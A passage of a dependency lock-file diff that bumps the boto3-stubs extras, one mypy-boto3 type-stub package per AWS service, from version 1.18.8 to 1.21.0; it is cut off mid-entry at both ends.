["mypy-boto3-elastic-inference (>=1.18.8)"] -elasticache = ["mypy-boto3-elasticache (>=1.18.8)"] -elasticbeanstalk = ["mypy-boto3-elasticbeanstalk (>=1.18.8)"] -elastictranscoder = ["mypy-boto3-elastictranscoder (>=1.18.8)"] -elb = ["mypy-boto3-elb (>=1.18.8)"] -elbv2 = ["mypy-boto3-elbv2 (>=1.18.8)"] -emr = ["mypy-boto3-emr (>=1.18.8)"] -emr-containers = ["mypy-boto3-emr-containers (>=1.18.8)"] -es = ["mypy-boto3-es (>=1.18.8)"] -essential = ["mypy-boto3-cloudformation (>=1.18.8)", "mypy-boto3-dynamodb (>=1.18.8)", "mypy-boto3-ec2 (>=1.18.8)", "mypy-boto3-lambda (>=1.18.8)", "mypy-boto3-rds (>=1.18.8)", "mypy-boto3-s3 (>=1.18.8)", "mypy-boto3-sqs (>=1.18.8)"] -events = ["mypy-boto3-events (>=1.18.8)"] -finspace = ["mypy-boto3-finspace (>=1.18.8)"] -finspace-data = ["mypy-boto3-finspace-data (>=1.18.8)"] -firehose = ["mypy-boto3-firehose (>=1.18.8)"] -fis = ["mypy-boto3-fis (>=1.18.8)"] -fms = ["mypy-boto3-fms (>=1.18.8)"] -forecast = ["mypy-boto3-forecast (>=1.18.8)"] -forecastquery = ["mypy-boto3-forecastquery (>=1.18.8)"] -frauddetector = ["mypy-boto3-frauddetector (>=1.18.8)"] -fsx = ["mypy-boto3-fsx (>=1.18.8)"] -gamelift = ["mypy-boto3-gamelift (>=1.18.8)"] -glacier = ["mypy-boto3-glacier (>=1.18.8)"] -globalaccelerator = ["mypy-boto3-globalaccelerator (>=1.18.8)"] -glue = ["mypy-boto3-glue (>=1.18.8)"] -greengrass = ["mypy-boto3-greengrass (>=1.18.8)"] -greengrassv2 = ["mypy-boto3-greengrassv2 (>=1.18.8)"] -groundstation = ["mypy-boto3-groundstation (>=1.18.8)"] -guardduty = ["mypy-boto3-guardduty (>=1.18.8)"] -health = ["mypy-boto3-health (>=1.18.8)"] -healthlake = ["mypy-boto3-healthlake (>=1.18.8)"] -honeycode = ["mypy-boto3-honeycode (>=1.18.8)"] -iam = ["mypy-boto3-iam (>=1.18.8)"] -identitystore = ["mypy-boto3-identitystore (>=1.18.8)"] -imagebuilder = ["mypy-boto3-imagebuilder (>=1.18.8)"] -importexport = ["mypy-boto3-importexport (>=1.18.8)"] -inspector = ["mypy-boto3-inspector (>=1.18.8)"] -iot = ["mypy-boto3-iot (>=1.18.8)"] -iot-data = ["mypy-boto3-iot-data (>=1.18.8)"] -iot-jobs-data = ["mypy-boto3-iot-jobs-data (>=1.18.8)"] -iot1click-devices = ["mypy-boto3-iot1click-devices (>=1.18.8)"] -iot1click-projects = ["mypy-boto3-iot1click-projects (>=1.18.8)"] -iotanalytics = ["mypy-boto3-iotanalytics (>=1.18.8)"] -iotdeviceadvisor = ["mypy-boto3-iotdeviceadvisor (>=1.18.8)"] -iotevents = ["mypy-boto3-iotevents (>=1.18.8)"] -iotevents-data = ["mypy-boto3-iotevents-data (>=1.18.8)"] -iotfleethub = ["mypy-boto3-iotfleethub (>=1.18.8)"] -iotsecuretunneling = ["mypy-boto3-iotsecuretunneling (>=1.18.8)"] -iotsitewise = ["mypy-boto3-iotsitewise (>=1.18.8)"] -iotthingsgraph = ["mypy-boto3-iotthingsgraph (>=1.18.8)"] -iotwireless = ["mypy-boto3-iotwireless (>=1.18.8)"] -ivs = ["mypy-boto3-ivs (>=1.18.8)"] -kafka = ["mypy-boto3-kafka (>=1.18.8)"] -kendra = ["mypy-boto3-kendra (>=1.18.8)"] -kinesis = ["mypy-boto3-kinesis (>=1.18.8)"] -kinesis-video-archived-media = ["mypy-boto3-kinesis-video-archived-media (>=1.18.8)"] -kinesis-video-media = ["mypy-boto3-kinesis-video-media (>=1.18.8)"] -kinesis-video-signaling = ["mypy-boto3-kinesis-video-signaling (>=1.18.8)"] -kinesisanalytics = ["mypy-boto3-kinesisanalytics (>=1.18.8)"] -kinesisanalyticsv2 = ["mypy-boto3-kinesisanalyticsv2 (>=1.18.8)"] -kinesisvideo = ["mypy-boto3-kinesisvideo (>=1.18.8)"] -kms = ["mypy-boto3-kms (>=1.18.8)"] -lakeformation = ["mypy-boto3-lakeformation (>=1.18.8)"] -lambda = ["mypy-boto3-lambda (>=1.18.8)"] -lex-models = ["mypy-boto3-lex-models (>=1.18.8)"] -lex-runtime = ["mypy-boto3-lex-runtime (>=1.18.8)"] -lexv2-models = ["mypy-boto3-lexv2-models (>=1.18.8)"] -lexv2-runtime = ["mypy-boto3-lexv2-runtime (>=1.18.8)"] -license-manager = ["mypy-boto3-license-manager (>=1.18.8)"] -lightsail = ["mypy-boto3-lightsail (>=1.18.8)"] -location = ["mypy-boto3-location (>=1.18.8)"] -logs = ["mypy-boto3-logs (>=1.18.8)"] -lookoutequipment = ["mypy-boto3-lookoutequipment (>=1.18.8)"] -lookoutmetrics = ["mypy-boto3-lookoutmetrics (>=1.18.8)"] -lookoutvision = ["mypy-boto3-lookoutvision (>=1.18.8)"] -machinelearning = ["mypy-boto3-machinelearning (>=1.18.8)"] -macie = ["mypy-boto3-macie (>=1.18.8)"] -macie2 = ["mypy-boto3-macie2 (>=1.18.8)"] -managedblockchain = ["mypy-boto3-managedblockchain (>=1.18.8)"] -marketplace-catalog = ["mypy-boto3-marketplace-catalog (>=1.18.8)"] -marketplace-entitlement = ["mypy-boto3-marketplace-entitlement (>=1.18.8)"] -marketplacecommerceanalytics = ["mypy-boto3-marketplacecommerceanalytics (>=1.18.8)"] -mediaconnect = ["mypy-boto3-mediaconnect (>=1.18.8)"] -mediaconvert = ["mypy-boto3-mediaconvert (>=1.18.8)"] -medialive = ["mypy-boto3-medialive (>=1.18.8)"] -mediapackage = ["mypy-boto3-mediapackage (>=1.18.8)"] -mediapackage-vod = ["mypy-boto3-mediapackage-vod (>=1.18.8)"] -mediastore = ["mypy-boto3-mediastore (>=1.18.8)"] -mediastore-data = ["mypy-boto3-mediastore-data (>=1.18.8)"] -mediatailor = ["mypy-boto3-mediatailor (>=1.18.8)"] -meteringmarketplace = ["mypy-boto3-meteringmarketplace (>=1.18.8)"] -mgh = ["mypy-boto3-mgh (>=1.18.8)"] -mgn = ["mypy-boto3-mgn (>=1.18.8)"] -migrationhub-config = ["mypy-boto3-migrationhub-config (>=1.18.8)"] -mobile = ["mypy-boto3-mobile (>=1.18.8)"] -mq = ["mypy-boto3-mq (>=1.18.8)"] -mturk = ["mypy-boto3-mturk (>=1.18.8)"] -mwaa = ["mypy-boto3-mwaa (>=1.18.8)"] -neptune = ["mypy-boto3-neptune (>=1.18.8)"] -network-firewall = ["mypy-boto3-network-firewall (>=1.18.8)"] -networkmanager = ["mypy-boto3-networkmanager (>=1.18.8)"] -nimble = ["mypy-boto3-nimble (>=1.18.8)"] -opsworks = ["mypy-boto3-opsworks (>=1.18.8)"] -opsworkscm = ["mypy-boto3-opsworkscm (>=1.18.8)"] -organizations = ["mypy-boto3-organizations (>=1.18.8)"] -outposts = ["mypy-boto3-outposts (>=1.18.8)"] -personalize = ["mypy-boto3-personalize (>=1.18.8)"] -personalize-events = ["mypy-boto3-personalize-events (>=1.18.8)"] -personalize-runtime = ["mypy-boto3-personalize-runtime (>=1.18.8)"] -pi = ["mypy-boto3-pi (>=1.18.8)"] -pinpoint = ["mypy-boto3-pinpoint (>=1.18.8)"] -pinpoint-email = ["mypy-boto3-pinpoint-email (>=1.18.8)"] -pinpoint-sms-voice = ["mypy-boto3-pinpoint-sms-voice (>=1.18.8)"] -polly = ["mypy-boto3-polly (>=1.18.8)"] -pricing = ["mypy-boto3-pricing (>=1.18.8)"] -proton = ["mypy-boto3-proton (>=1.18.8)"] -qldb = ["mypy-boto3-qldb (>=1.18.8)"] -qldb-session = ["mypy-boto3-qldb-session (>=1.18.8)"] -quicksight = ["mypy-boto3-quicksight (>=1.18.8)"] -ram = ["mypy-boto3-ram (>=1.18.8)"] -rds = ["mypy-boto3-rds (>=1.18.8)"] -rds-data = ["mypy-boto3-rds-data (>=1.18.8)"] -redshift = ["mypy-boto3-redshift (>=1.18.8)"] -redshift-data = ["mypy-boto3-redshift-data (>=1.18.8)"] -rekognition = ["mypy-boto3-rekognition (>=1.18.8)"] -resource-groups = ["mypy-boto3-resource-groups (>=1.18.8)"] -resourcegroupstaggingapi = ["mypy-boto3-resourcegroupstaggingapi (>=1.18.8)"] -robomaker = ["mypy-boto3-robomaker (>=1.18.8)"] -route53 = ["mypy-boto3-route53 (>=1.18.8)"] -route53-recovery-cluster = ["mypy-boto3-route53-recovery-cluster (>=1.18.8)"] -route53-recovery-control-config = ["mypy-boto3-route53-recovery-control-config (>=1.18.8)"] -route53-recovery-readiness = ["mypy-boto3-route53-recovery-readiness (>=1.18.8)"] -route53domains = ["mypy-boto3-route53domains (>=1.18.8)"] -route53resolver = ["mypy-boto3-route53resolver (>=1.18.8)"] -s3 = ["mypy-boto3-s3 (>=1.18.8)"] -s3control = ["mypy-boto3-s3control (>=1.18.8)"] -s3outposts = ["mypy-boto3-s3outposts (>=1.18.8)"] -sagemaker = ["mypy-boto3-sagemaker (>=1.18.8)"] -sagemaker-a2i-runtime = ["mypy-boto3-sagemaker-a2i-runtime (>=1.18.8)"] -sagemaker-edge = ["mypy-boto3-sagemaker-edge (>=1.18.8)"] -sagemaker-featurestore-runtime = ["mypy-boto3-sagemaker-featurestore-runtime (>=1.18.8)"] -sagemaker-runtime = ["mypy-boto3-sagemaker-runtime (>=1.18.8)"] -savingsplans = ["mypy-boto3-savingsplans (>=1.18.8)"] -schemas = ["mypy-boto3-schemas (>=1.18.8)"] -sdb = ["mypy-boto3-sdb (>=1.18.8)"] -secretsmanager = ["mypy-boto3-secretsmanager (>=1.18.8)"] -securityhub = ["mypy-boto3-securityhub (>=1.18.8)"] -serverlessrepo = ["mypy-boto3-serverlessrepo (>=1.18.8)"] -service-quotas = ["mypy-boto3-service-quotas (>=1.18.8)"] -servicecatalog = ["mypy-boto3-servicecatalog (>=1.18.8)"] -servicecatalog-appregistry = ["mypy-boto3-servicecatalog-appregistry (>=1.18.8)"] -servicediscovery = ["mypy-boto3-servicediscovery (>=1.18.8)"] -ses = ["mypy-boto3-ses (>=1.18.8)"] -sesv2 = ["mypy-boto3-sesv2 (>=1.18.8)"] -shield = ["mypy-boto3-shield (>=1.18.8)"] -signer = ["mypy-boto3-signer (>=1.18.8)"] -sms = ["mypy-boto3-sms (>=1.18.8)"] -sms-voice = ["mypy-boto3-sms-voice (>=1.18.8)"] -snowball = ["mypy-boto3-snowball (>=1.18.8)"] -sns = ["mypy-boto3-sns (>=1.18.8)"] -sqs = ["mypy-boto3-sqs (>=1.18.8)"] -ssm = ["mypy-boto3-ssm (>=1.18.8)"] -ssm-contacts = ["mypy-boto3-ssm-contacts (>=1.18.8)"] -ssm-incidents = ["mypy-boto3-ssm-incidents (>=1.18.8)"] -sso = ["mypy-boto3-sso (>=1.18.8)"] -sso-admin = ["mypy-boto3-sso-admin (>=1.18.8)"] -sso-oidc = ["mypy-boto3-sso-oidc (>=1.18.8)"] -stepfunctions = ["mypy-boto3-stepfunctions (>=1.18.8)"] -storagegateway = ["mypy-boto3-storagegateway (>=1.18.8)"] -sts = ["mypy-boto3-sts (>=1.18.8)"] -support = ["mypy-boto3-support (>=1.18.8)"] -swf = ["mypy-boto3-swf (>=1.18.8)"] -synthetics = ["mypy-boto3-synthetics (>=1.18.8)"] -textract = ["mypy-boto3-textract (>=1.18.8)"] -timestream-query = ["mypy-boto3-timestream-query (>=1.18.8)"] -timestream-write = ["mypy-boto3-timestream-write (>=1.18.8)"] -transcribe = ["mypy-boto3-transcribe (>=1.18.8)"] -transfer = ["mypy-boto3-transfer (>=1.18.8)"] -translate = ["mypy-boto3-translate (>=1.18.8)"] -waf = ["mypy-boto3-waf (>=1.18.8)"] -waf-regional = ["mypy-boto3-waf-regional (>=1.18.8)"] -wafv2 = ["mypy-boto3-wafv2 (>=1.18.8)"] -wellarchitected = ["mypy-boto3-wellarchitected (>=1.18.8)"] -workdocs = ["mypy-boto3-workdocs (>=1.18.8)"] -worklink = ["mypy-boto3-worklink (>=1.18.8)"] -workmail = ["mypy-boto3-workmail (>=1.18.8)"] -workmailmessageflow = ["mypy-boto3-workmailmessageflow (>=1.18.8)"] -workspaces = ["mypy-boto3-workspaces (>=1.18.8)"] -xray = ["mypy-boto3-xray (>=1.18.8)"] +accessanalyzer = ["mypy-boto3-accessanalyzer (>=1.21.0)"] +account = ["mypy-boto3-account (>=1.21.0)"] +acm = ["mypy-boto3-acm (>=1.21.0)"] +acm-pca = ["mypy-boto3-acm-pca (>=1.21.0)"] +alexaforbusiness = ["mypy-boto3-alexaforbusiness (>=1.21.0)"] +all = ["mypy-boto3-accessanalyzer (>=1.21.0)", "mypy-boto3-account (>=1.21.0)", "mypy-boto3-acm (>=1.21.0)", "mypy-boto3-acm-pca (>=1.21.0)", "mypy-boto3-alexaforbusiness (>=1.21.0)", "mypy-boto3-amp (>=1.21.0)", "mypy-boto3-amplify (>=1.21.0)", "mypy-boto3-amplifybackend (>=1.21.0)", "mypy-boto3-amplifyuibuilder (>=1.21.0)", "mypy-boto3-apigateway (>=1.21.0)", "mypy-boto3-apigatewaymanagementapi (>=1.21.0)", "mypy-boto3-apigatewayv2 (>=1.21.0)", "mypy-boto3-appconfig (>=1.21.0)", "mypy-boto3-appconfigdata (>=1.21.0)", "mypy-boto3-appflow (>=1.21.0)", "mypy-boto3-appintegrations (>=1.21.0)", "mypy-boto3-application-autoscaling (>=1.21.0)", "mypy-boto3-application-insights (>=1.21.0)", "mypy-boto3-applicationcostprofiler (>=1.21.0)", "mypy-boto3-appmesh (>=1.21.0)", "mypy-boto3-apprunner (>=1.21.0)", "mypy-boto3-appstream (>=1.21.0)", "mypy-boto3-appsync (>=1.21.0)", "mypy-boto3-athena (>=1.21.0)", "mypy-boto3-auditmanager (>=1.21.0)", "mypy-boto3-autoscaling (>=1.21.0)", "mypy-boto3-autoscaling-plans (>=1.21.0)", "mypy-boto3-backup (>=1.21.0)", "mypy-boto3-backup-gateway (>=1.21.0)", "mypy-boto3-batch (>=1.21.0)", "mypy-boto3-billingconductor (>=1.21.0)", "mypy-boto3-braket (>=1.21.0)", "mypy-boto3-budgets (>=1.21.0)", "mypy-boto3-ce (>=1.21.0)", "mypy-boto3-chime (>=1.21.0)", "mypy-boto3-chime-sdk-identity (>=1.21.0)", "mypy-boto3-chime-sdk-meetings (>=1.21.0)", "mypy-boto3-chime-sdk-messaging (>=1.21.0)", "mypy-boto3-cloud9 (>=1.21.0)", "mypy-boto3-cloudcontrol (>=1.21.0)", "mypy-boto3-clouddirectory (>=1.21.0)", "mypy-boto3-cloudformation (>=1.21.0)", "mypy-boto3-cloudfront (>=1.21.0)", "mypy-boto3-cloudhsm (>=1.21.0)", "mypy-boto3-cloudhsmv2 (>=1.21.0)", "mypy-boto3-cloudsearch (>=1.21.0)", "mypy-boto3-cloudsearchdomain (>=1.21.0)", "mypy-boto3-cloudtrail (>=1.21.0)", "mypy-boto3-cloudwatch (>=1.21.0)", "mypy-boto3-codeartifact (>=1.21.0)", "mypy-boto3-codebuild (>=1.21.0)", "mypy-boto3-codecommit (>=1.21.0)", "mypy-boto3-codedeploy (>=1.21.0)", "mypy-boto3-codeguru-reviewer (>=1.21.0)", "mypy-boto3-codeguruprofiler (>=1.21.0)", "mypy-boto3-codepipeline (>=1.21.0)", "mypy-boto3-codestar (>=1.21.0)", "mypy-boto3-codestar-connections (>=1.21.0)", "mypy-boto3-codestar-notifications (>=1.21.0)", "mypy-boto3-cognito-identity (>=1.21.0)", "mypy-boto3-cognito-idp (>=1.21.0)", "mypy-boto3-cognito-sync (>=1.21.0)", "mypy-boto3-comprehend (>=1.21.0)", "mypy-boto3-comprehendmedical (>=1.21.0)", "mypy-boto3-compute-optimizer (>=1.21.0)", "mypy-boto3-config (>=1.21.0)", "mypy-boto3-connect (>=1.21.0)", "mypy-boto3-connect-contact-lens (>=1.21.0)", "mypy-boto3-connectparticipant (>=1.21.0)", "mypy-boto3-cur (>=1.21.0)", "mypy-boto3-customer-profiles (>=1.21.0)", "mypy-boto3-databrew (>=1.21.0)", "mypy-boto3-dataexchange (>=1.21.0)", "mypy-boto3-datapipeline (>=1.21.0)", "mypy-boto3-datasync (>=1.21.0)", "mypy-boto3-dax (>=1.21.0)", "mypy-boto3-detective (>=1.21.0)", "mypy-boto3-devicefarm (>=1.21.0)", "mypy-boto3-devops-guru (>=1.21.0)", "mypy-boto3-directconnect (>=1.21.0)", "mypy-boto3-discovery (>=1.21.0)", "mypy-boto3-dlm (>=1.21.0)", "mypy-boto3-dms (>=1.21.0)", "mypy-boto3-docdb (>=1.21.0)", "mypy-boto3-drs (>=1.21.0)", "mypy-boto3-ds (>=1.21.0)", "mypy-boto3-dynamodb (>=1.21.0)", "mypy-boto3-dynamodbstreams (>=1.21.0)", "mypy-boto3-ebs (>=1.21.0)", "mypy-boto3-ec2 (>=1.21.0)", "mypy-boto3-ec2-instance-connect (>=1.21.0)", "mypy-boto3-ecr (>=1.21.0)", "mypy-boto3-ecr-public (>=1.21.0)", "mypy-boto3-ecs (>=1.21.0)", "mypy-boto3-efs (>=1.21.0)", "mypy-boto3-eks (>=1.21.0)", "mypy-boto3-elastic-inference (>=1.21.0)", "mypy-boto3-elasticache (>=1.21.0)", "mypy-boto3-elasticbeanstalk (>=1.21.0)", "mypy-boto3-elastictranscoder (>=1.21.0)", "mypy-boto3-elb (>=1.21.0)", "mypy-boto3-elbv2 (>=1.21.0)", "mypy-boto3-emr (>=1.21.0)", "mypy-boto3-emr-containers (>=1.21.0)", "mypy-boto3-es (>=1.21.0)", "mypy-boto3-events (>=1.21.0)", "mypy-boto3-evidently (>=1.21.0)", "mypy-boto3-finspace (>=1.21.0)", "mypy-boto3-finspace-data (>=1.21.0)", "mypy-boto3-firehose (>=1.21.0)", "mypy-boto3-fis (>=1.21.0)", "mypy-boto3-fms (>=1.21.0)", "mypy-boto3-forecast (>=1.21.0)", "mypy-boto3-forecastquery (>=1.21.0)", "mypy-boto3-frauddetector (>=1.21.0)", "mypy-boto3-fsx (>=1.21.0)", "mypy-boto3-gamelift (>=1.21.0)", "mypy-boto3-glacier (>=1.21.0)", "mypy-boto3-globalaccelerator (>=1.21.0)", "mypy-boto3-glue (>=1.21.0)", "mypy-boto3-grafana (>=1.21.0)", "mypy-boto3-greengrass (>=1.21.0)", "mypy-boto3-greengrassv2 (>=1.21.0)", "mypy-boto3-groundstation (>=1.21.0)", "mypy-boto3-guardduty (>=1.21.0)", "mypy-boto3-health (>=1.21.0)", "mypy-boto3-healthlake (>=1.21.0)", "mypy-boto3-honeycode (>=1.21.0)", "mypy-boto3-iam (>=1.21.0)", "mypy-boto3-identitystore (>=1.21.0)", "mypy-boto3-imagebuilder (>=1.21.0)", "mypy-boto3-importexport (>=1.21.0)", "mypy-boto3-inspector (>=1.21.0)", "mypy-boto3-inspector2 (>=1.21.0)", "mypy-boto3-iot (>=1.21.0)", "mypy-boto3-iot-data (>=1.21.0)", "mypy-boto3-iot-jobs-data (>=1.21.0)", "mypy-boto3-iot1click-devices (>=1.21.0)", "mypy-boto3-iot1click-projects (>=1.21.0)", "mypy-boto3-iotanalytics (>=1.21.0)", "mypy-boto3-iotdeviceadvisor (>=1.21.0)", "mypy-boto3-iotevents (>=1.21.0)", "mypy-boto3-iotevents-data (>=1.21.0)", "mypy-boto3-iotfleethub (>=1.21.0)", "mypy-boto3-iotsecuretunneling (>=1.21.0)", "mypy-boto3-iotsitewise (>=1.21.0)", "mypy-boto3-iotthingsgraph (>=1.21.0)", "mypy-boto3-iottwinmaker (>=1.21.0)", "mypy-boto3-iotwireless (>=1.21.0)", "mypy-boto3-ivs (>=1.21.0)", "mypy-boto3-kafka (>=1.21.0)", "mypy-boto3-kafkaconnect (>=1.21.0)", "mypy-boto3-kendra (>=1.21.0)", "mypy-boto3-keyspaces (>=1.21.0)", "mypy-boto3-kinesis (>=1.21.0)", "mypy-boto3-kinesis-video-archived-media (>=1.21.0)", "mypy-boto3-kinesis-video-media (>=1.21.0)", "mypy-boto3-kinesis-video-signaling (>=1.21.0)", "mypy-boto3-kinesisanalytics (>=1.21.0)", "mypy-boto3-kinesisanalyticsv2 (>=1.21.0)", "mypy-boto3-kinesisvideo (>=1.21.0)", "mypy-boto3-kms (>=1.21.0)", "mypy-boto3-lakeformation (>=1.21.0)", "mypy-boto3-lambda (>=1.21.0)", "mypy-boto3-lex-models (>=1.21.0)", "mypy-boto3-lex-runtime (>=1.21.0)", "mypy-boto3-lexv2-models (>=1.21.0)", "mypy-boto3-lexv2-runtime (>=1.21.0)", "mypy-boto3-license-manager (>=1.21.0)", "mypy-boto3-lightsail (>=1.21.0)", "mypy-boto3-location (>=1.21.0)", "mypy-boto3-logs (>=1.21.0)", "mypy-boto3-lookoutequipment (>=1.21.0)", "mypy-boto3-lookoutmetrics (>=1.21.0)", "mypy-boto3-lookoutvision (>=1.21.0)", "mypy-boto3-machinelearning (>=1.21.0)", "mypy-boto3-macie (>=1.21.0)", "mypy-boto3-macie2 (>=1.21.0)", "mypy-boto3-managedblockchain (>=1.21.0)", "mypy-boto3-marketplace-catalog (>=1.21.0)", "mypy-boto3-marketplace-entitlement (>=1.21.0)", "mypy-boto3-marketplacecommerceanalytics (>=1.21.0)", "mypy-boto3-mediaconnect (>=1.21.0)", "mypy-boto3-mediaconvert (>=1.21.0)", "mypy-boto3-medialive (>=1.21.0)", "mypy-boto3-mediapackage (>=1.21.0)", "mypy-boto3-mediapackage-vod (>=1.21.0)", "mypy-boto3-mediastore (>=1.21.0)", "mypy-boto3-mediastore-data (>=1.21.0)", "mypy-boto3-mediatailor (>=1.21.0)", "mypy-boto3-memorydb (>=1.21.0)", "mypy-boto3-meteringmarketplace (>=1.21.0)", "mypy-boto3-mgh (>=1.21.0)", "mypy-boto3-mgn (>=1.21.0)", "mypy-boto3-migration-hub-refactor-spaces (>=1.21.0)", "mypy-boto3-migrationhub-config (>=1.21.0)", "mypy-boto3-migrationhubstrategy (>=1.21.0)", "mypy-boto3-mobile (>=1.21.0)", "mypy-boto3-mq (>=1.21.0)", "mypy-boto3-mturk (>=1.21.0)", "mypy-boto3-mwaa (>=1.21.0)", "mypy-boto3-neptune (>=1.21.0)", "mypy-boto3-network-firewall (>=1.21.0)", "mypy-boto3-networkmanager (>=1.21.0)", "mypy-boto3-nimble (>=1.21.0)", "mypy-boto3-opensearch (>=1.21.0)", "mypy-boto3-opsworks (>=1.21.0)", "mypy-boto3-opsworkscm (>=1.21.0)", "mypy-boto3-organizations (>=1.21.0)", "mypy-boto3-outposts (>=1.21.0)", "mypy-boto3-panorama (>=1.21.0)", "mypy-boto3-personalize (>=1.21.0)", "mypy-boto3-personalize-events (>=1.21.0)", "mypy-boto3-personalize-runtime (>=1.21.0)", "mypy-boto3-pi (>=1.21.0)", "mypy-boto3-pinpoint (>=1.21.0)", "mypy-boto3-pinpoint-email (>=1.21.0)", "mypy-boto3-pinpoint-sms-voice (>=1.21.0)", "mypy-boto3-polly (>=1.21.0)", "mypy-boto3-pricing (>=1.21.0)", "mypy-boto3-proton (>=1.21.0)", "mypy-boto3-qldb (>=1.21.0)", "mypy-boto3-qldb-session (>=1.21.0)", "mypy-boto3-quicksight (>=1.21.0)", "mypy-boto3-ram (>=1.21.0)", "mypy-boto3-rbin (>=1.21.0)", "mypy-boto3-rds (>=1.21.0)", "mypy-boto3-rds-data (>=1.21.0)", "mypy-boto3-redshift (>=1.21.0)", "mypy-boto3-redshift-data (>=1.21.0)", "mypy-boto3-rekognition (>=1.21.0)", "mypy-boto3-resiliencehub (>=1.21.0)", "mypy-boto3-resource-groups (>=1.21.0)", "mypy-boto3-resourcegroupstaggingapi (>=1.21.0)", "mypy-boto3-robomaker (>=1.21.0)", "mypy-boto3-route53 (>=1.21.0)", "mypy-boto3-route53-recovery-cluster (>=1.21.0)", "mypy-boto3-route53-recovery-control-config (>=1.21.0)", "mypy-boto3-route53-recovery-readiness (>=1.21.0)", "mypy-boto3-route53domains (>=1.21.0)", "mypy-boto3-route53resolver (>=1.21.0)", "mypy-boto3-rum (>=1.21.0)", "mypy-boto3-s3 (>=1.21.0)", "mypy-boto3-s3control (>=1.21.0)", "mypy-boto3-s3outposts (>=1.21.0)", "mypy-boto3-sagemaker (>=1.21.0)", "mypy-boto3-sagemaker-a2i-runtime (>=1.21.0)", "mypy-boto3-sagemaker-edge (>=1.21.0)", "mypy-boto3-sagemaker-featurestore-runtime (>=1.21.0)", "mypy-boto3-sagemaker-runtime (>=1.21.0)", "mypy-boto3-savingsplans (>=1.21.0)", "mypy-boto3-schemas (>=1.21.0)", "mypy-boto3-sdb (>=1.21.0)", "mypy-boto3-secretsmanager (>=1.21.0)", "mypy-boto3-securityhub (>=1.21.0)", "mypy-boto3-serverlessrepo (>=1.21.0)", "mypy-boto3-service-quotas (>=1.21.0)", "mypy-boto3-servicecatalog (>=1.21.0)", "mypy-boto3-servicecatalog-appregistry (>=1.21.0)", "mypy-boto3-servicediscovery (>=1.21.0)", "mypy-boto3-ses (>=1.21.0)", "mypy-boto3-sesv2 (>=1.21.0)", "mypy-boto3-shield (>=1.21.0)", "mypy-boto3-signer (>=1.21.0)", "mypy-boto3-sms (>=1.21.0)", "mypy-boto3-sms-voice (>=1.21.0)", "mypy-boto3-snow-device-management (>=1.21.0)", "mypy-boto3-snowball (>=1.21.0)", "mypy-boto3-sns (>=1.21.0)", "mypy-boto3-sqs (>=1.21.0)", "mypy-boto3-ssm (>=1.21.0)", "mypy-boto3-ssm-contacts (>=1.21.0)", "mypy-boto3-ssm-incidents (>=1.21.0)", "mypy-boto3-sso (>=1.21.0)", "mypy-boto3-sso-admin (>=1.21.0)", "mypy-boto3-sso-oidc (>=1.21.0)", "mypy-boto3-stepfunctions (>=1.21.0)", "mypy-boto3-storagegateway (>=1.21.0)", "mypy-boto3-sts (>=1.21.0)", "mypy-boto3-support (>=1.21.0)", "mypy-boto3-swf (>=1.21.0)", "mypy-boto3-synthetics (>=1.21.0)", "mypy-boto3-textract (>=1.21.0)", "mypy-boto3-timestream-query (>=1.21.0)", "mypy-boto3-timestream-write (>=1.21.0)", "mypy-boto3-transcribe (>=1.21.0)", "mypy-boto3-transfer (>=1.21.0)", "mypy-boto3-translate (>=1.21.0)", "mypy-boto3-voice-id (>=1.21.0)", "mypy-boto3-waf (>=1.21.0)", "mypy-boto3-waf-regional (>=1.21.0)", "mypy-boto3-wafv2 (>=1.21.0)", "mypy-boto3-wellarchitected (>=1.21.0)", "mypy-boto3-wisdom (>=1.21.0)", "mypy-boto3-workdocs (>=1.21.0)", "mypy-boto3-worklink (>=1.21.0)", "mypy-boto3-workmail (>=1.21.0)", "mypy-boto3-workmailmessageflow (>=1.21.0)", "mypy-boto3-workspaces (>=1.21.0)", "mypy-boto3-workspaces-web (>=1.21.0)", "mypy-boto3-xray (>=1.21.0)"] +amp = ["mypy-boto3-amp (>=1.21.0)"] +amplify = ["mypy-boto3-amplify (>=1.21.0)"] +amplifybackend = ["mypy-boto3-amplifybackend (>=1.21.0)"] +amplifyuibuilder = ["mypy-boto3-amplifyuibuilder (>=1.21.0)"] +apigateway = ["mypy-boto3-apigateway (>=1.21.0)"] +apigatewaymanagementapi = ["mypy-boto3-apigatewaymanagementapi (>=1.21.0)"] +apigatewayv2 = ["mypy-boto3-apigatewayv2 (>=1.21.0)"] +appconfig = ["mypy-boto3-appconfig (>=1.21.0)"] +appconfigdata = ["mypy-boto3-appconfigdata (>=1.21.0)"] +appflow = ["mypy-boto3-appflow (>=1.21.0)"] +appintegrations = ["mypy-boto3-appintegrations (>=1.21.0)"] +application-autoscaling = ["mypy-boto3-application-autoscaling (>=1.21.0)"] +application-insights = ["mypy-boto3-application-insights (>=1.21.0)"] +applicationcostprofiler = ["mypy-boto3-applicationcostprofiler (>=1.21.0)"] +appmesh = ["mypy-boto3-appmesh (>=1.21.0)"] +apprunner = ["mypy-boto3-apprunner (>=1.21.0)"] +appstream = ["mypy-boto3-appstream (>=1.21.0)"] +appsync = ["mypy-boto3-appsync (>=1.21.0)"] +athena = ["mypy-boto3-athena (>=1.21.0)"] +auditmanager = ["mypy-boto3-auditmanager (>=1.21.0)"] +autoscaling = ["mypy-boto3-autoscaling (>=1.21.0)"] +autoscaling-plans = ["mypy-boto3-autoscaling-plans (>=1.21.0)"] +backup = ["mypy-boto3-backup (>=1.21.0)"] +backup-gateway = ["mypy-boto3-backup-gateway (>=1.21.0)"] +batch = ["mypy-boto3-batch (>=1.21.0)"] +billingconductor = ["mypy-boto3-billingconductor (>=1.21.0)"] +braket = ["mypy-boto3-braket (>=1.21.0)"] +budgets = ["mypy-boto3-budgets (>=1.21.0)"] +ce = ["mypy-boto3-ce (>=1.21.0)"] +chime = ["mypy-boto3-chime (>=1.21.0)"] +chime-sdk-identity = ["mypy-boto3-chime-sdk-identity (>=1.21.0)"] +chime-sdk-meetings = ["mypy-boto3-chime-sdk-meetings (>=1.21.0)"] +chime-sdk-messaging = ["mypy-boto3-chime-sdk-messaging (>=1.21.0)"] +cloud9 = ["mypy-boto3-cloud9 (>=1.21.0)"] +cloudcontrol = ["mypy-boto3-cloudcontrol (>=1.21.0)"] +clouddirectory = ["mypy-boto3-clouddirectory (>=1.21.0)"] +cloudformation = ["mypy-boto3-cloudformation (>=1.21.0)"] +cloudfront = ["mypy-boto3-cloudfront (>=1.21.0)"] +cloudhsm = ["mypy-boto3-cloudhsm (>=1.21.0)"] +cloudhsmv2 = ["mypy-boto3-cloudhsmv2 (>=1.21.0)"] +cloudsearch = ["mypy-boto3-cloudsearch 